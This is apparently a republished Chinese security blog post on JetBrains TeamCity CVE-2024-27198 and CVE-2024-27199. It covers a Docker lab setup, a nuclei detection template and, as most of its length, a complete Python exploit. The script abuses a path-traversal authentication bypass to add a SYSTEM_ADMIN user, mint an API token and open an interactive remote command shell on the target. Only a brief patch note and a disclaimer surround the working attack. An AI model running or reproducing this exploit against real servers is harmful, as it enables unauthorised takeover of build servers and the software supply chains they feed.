免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!
01
—
漏洞名称
02 —
漏洞影响
JetBrains TeamCity < 2023.11.4版本
03 —
漏洞描述
JetBrains TeamCity是一款由JetBrains开发的持续集成和持续交付(CI/CD)服务器。它提供了一个功能强大的平台,用于自动化构建、测试和部署软件项目。TeamCity旨在简化团队协作和软件交付流程,提高开发团队的效率和产品质量。
JetBrains TeamCity在2023.11.4之前存在路径遍历漏洞,攻击者可利用此漏洞构造恶意请求执行未授权的有限管理员操作,例如覆盖证书等等。
04 — 05 — 靶场搭建
docker安装 拉取镜像 启动容器 然后访问http://localhost:8111
06 — 批量扫描poc
如果直接使用上面的数据包,实际上已经是一种入侵行为,尝试通过判断版本号来扫描漏洞。各位看官有更好的办法记得私信我。 nuclei poc文件内容如下 运行POC
07 — 漏洞利用
github上发现个现成的用python写的EXP,这个脚本利用CVE-2024-27198和CVE-2024-27199实现远程命令执行,EXP放到工具包中了,文末获取
08 — 修复建议
升级到2023.11.4及以上版本。
app="JET_BRAINS-TeamCity"
docker pull jetbrains/teamcity-server:2023.11.3
docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
id: CVE-2024-27199
info:
name: TeamCity < 2023.11.4 - Authentication Bypass
author: DhiyaneshDk
severity: high
description: |
In JetBrains TeamCity before 2023.11.4 path traversal allowing to perform limited admin actions was possible
reference:
https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/
https://nvd.nist.gov/vuln/detail/CVE-2024-27199
classification:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L :
7.3 :
CWE-23 :
metadata:
verified: true
3 :
http.component:"TeamCity" :
tags: cve,cve2024,teamcity,jetbrains,auth-bypass
http:
method: GET
path:
"{{BaseURL}}/res/../admin/diagnostic.jsp"
"{{BaseURL}}/.well-known/acme-challenge/../../admin/diagnostic.jsp"
"{{BaseURL}}/update/../admin/diagnostic.jsp"
true :
matchers:
type: dsl
dsl:
'status_code == 200'
'contains(header, "text/html")'
'contains_all(body, "Debug Logging", "CPU & Memory Usage")'
condition: and
# digest: 490a0046304402207d46ec6991f8498ff8c74ec6ebfe0f59f19210620cab88c23c7761c7701b640102201246e4baea4f5b436b45be21c4f66bbe35e8a5f3769b78de38ee94253f331fa7:922c64590222798bb761d5b6d8e72950
nuclei.exe -t mypoc/cve/CVE-2024-27199.yaml -l 1.txt
import re
import sys
import string
import random
import urllib3
import requests
import argparse
import xml.etree.ElementTree as ET
from urllib.parse import quote_plus
urllib3.disable_warnings()
token_name = "".join(random.choices(string.ascii_letters + string.digits, k=10))
GREEN = "�33[92m"
RESET = "�33[0m"
def GetUserID(response_text):
try:
root = ET.fromstring(response_text)
user_info = {
"username": root.attrib.get("username"),
"id": root.attrib.get("id"),
"email": root.attrib.get("email"),
}
return user_info["id"]
except ET.ParseError as err:
print(f"[-] Failed to parse user XML response: {err}", "!")
return None
def GetToken(response_text):
try:
root = ET.fromstring(response_text)
token_info = {
"name": root.attrib.get("name"),
"value": root.attrib.get("value"),
"creationTime": root.attrib.get("creationTime"),
}
return token_info["value"]
except ET.ParseError as err:
print(f"[-] Failed to parse token XML response: {err}", "!")
return None
def GetOSVersion(target, token):
try:
get_os_version_url_linux = target + "/app/rest/debug/processes?exePath=/bin/sh¶ms=-c¶ms=echo+ReadyGO"
get_os_version_url_windows = target + "/app/rest/debug/processes?exePath=cmd.exe¶ms=/c¶ms=echo+ReadyGO"
get_os_version_headers = {
"Authorization": f"Bearer {token}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
}
linux_response = requests.post(url=get_os_version_url_linux, headers=get_os_version_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
if linux_response.status_code != 200:
print("[-] Unable to obtain operating system version and then execute command.")
sys.exit(0)
if "ReadyGO" in linux_response.text:
return "linux"
else:
windows_response = requests.post(url=get_os_version_url_windows, headers=get_os_version_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
if "ReadyGO" in windows_response.text:
return "windows"
else:
print("[-] Unable to obtain operating system version, please try manual exploitation.")
sys.exit(0)
except Exception as err:
print("[-] Error in func <GetOSVersion>, error message: " + str(err))
def ExecuteCommand(target, os_version, command, token):
try:
command_encoded = quote_plus(command)
if os_version == "linux":
exec_cmd_url = target + f"/app/rest/debug/processes?exePath=/bin/sh¶ms=-c¶ms={command_encoded}"
else:
exec_cmd_url = target + f"/app/rest/debug/processes?exePath=cmd.exe¶ms=/c¶ms={command_encoded}"
exec_cmd_headers = {
"Authorization": f"Bearer {token}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
}
exec_cmd_response = requests.post(url=exec_cmd_url, headers=exec_cmd_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
pattern = re.compile(r"StdOut:(.*?)StdErr:(.*?)$", re.DOTALL)
match = re.search(pattern, exec_cmd_response.text)
if match:
stdout_content = match.group(1).strip()
if stdout_content == "":
stderr_content = match.group(2).strip()
print(stderr_content.split("nn")[0])
else:
print(stdout_content)
else:
print("[-] Match failed. Response text: n" + exec_cmd_response.text)
except Exception as err:
print("[-] Error in func <ExecuteCommand>, error message: " + str(err))
def AddUser(target, username, password, domain):
add_user_url = target + "/hax?jsp=/app/rest/users;.jsp"
add_user_headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
}
add_user_data = {
"username": f"{username}",
"password": f"{password}",
"email": f"{username}@{domain}",
"roles": {
"role": [
{
"roleId": "SYSTEM_ADMIN",
"scope": "g"
}
]
}
}
try:
add_user_response = requests.post(url=add_user_url, json=add_user_data, headers=add_user_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
user_id = GetUserID(add_user_response.text)
if add_user_response.status_code == 200 and user_id is not None:
print(f"[+] User added successfully, username: {GREEN}{username}{RESET}, password: {GREEN}{password}{RESET}, user ID: {GREEN}{user_id}{RESET}")
Exploit(target, user_id)
else:
print(f"[-] Failed to add user, there is no vulnerability in {target}")
except Exception as err:
print("[-] Error in func <AddUser>, error message: " + str(err))
def Exploit(target, user_id):
exploit_url = target + f"/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp"
exploit_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36"
}
try:
exploit_response = requests.post(url=exploit_url, headers=exploit_headers, proxies=proxy, verify=False, allow_redirects=False, timeout=600)
token = GetToken(exploit_response.text)
os_version = GetOSVersion(target, token)
print(f"[+] The target operating system version is {GREEN}{os_version}{RESET}")
print("[+] Please start executing commands freely! Type <quit> to end command execution")
while True:
command = input(f"{GREEN}command > {RESET}")
if command == "quit":
sys.exit(0)
ExecuteCommand(target, os_version, command, token)
except Exception as err:
print("[-] Error in func <Exploit>, error message: " + str(err))
def ParseArguments():
banner = r"""
_____ ____ _ _ ____ ____ _____
|_ _|__ __ _ _ __ ___ / ___(_) |_ _ _ | _ / ___| ____|
| |/ _ / _` | '_ ` _ | | | | __| | | | | |_) | | | _|
| | __/ (_| | | | | | | |___| | |_| |_| | | _ <| |___| |___
|_|___|__,_|_| |_| |_|____|_|__|__, | |_| _\____|_____|
|___/
Author: @W01fh4cker
Github: https://github.com/W01fh4cker
"""
print(banner)
parser = argparse.ArgumentParser(description="CVE-2024-27198 & CVE-2024-27199 Authentication Bypass --> RCE in JetBrains TeamCity Pre-2023.11.4")
parser.add_argument("-u", "--username", type=str, help="username you want to add. If left blank, it will be randomly generated.", required=False)
parser.add_argument("-p", "--password", type=str, help="password you want to add. If left blank, it will be randomly generated.", required=False)
parser.add_argument("-t", "--target", type=str, help="target url", required=True)
parser.add_argument("-d", "--domain", type=str, default="example.com", help="The domain name of the email address", required=False)
parser.add_argument("--proxy", type=str, help="eg: http://127.0.0.1:8080", required=False)
return parser.parse_args()
if __name__ == "__main__":
args = ParseArguments()
if not args.username:
username = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
else:
username = args.username
if not args.password:
password = "".join(random.choices(string.ascii_letters + string.digits, k=10))
else:
password = args.password
if not args.proxy:
proxy = {}
else:
proxy = {
"http": args.proxy,
"https": args.proxy
}
AddUser(target=args.target.rstrip("/"), username=username, password=password, domain=args.domain)
python CVE-2024-27198-RCE.py -t http://dev.w01fh4cker.local
原文始发于微信公众号(AI与网安):CVE-2024-27199(POC&EXP)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论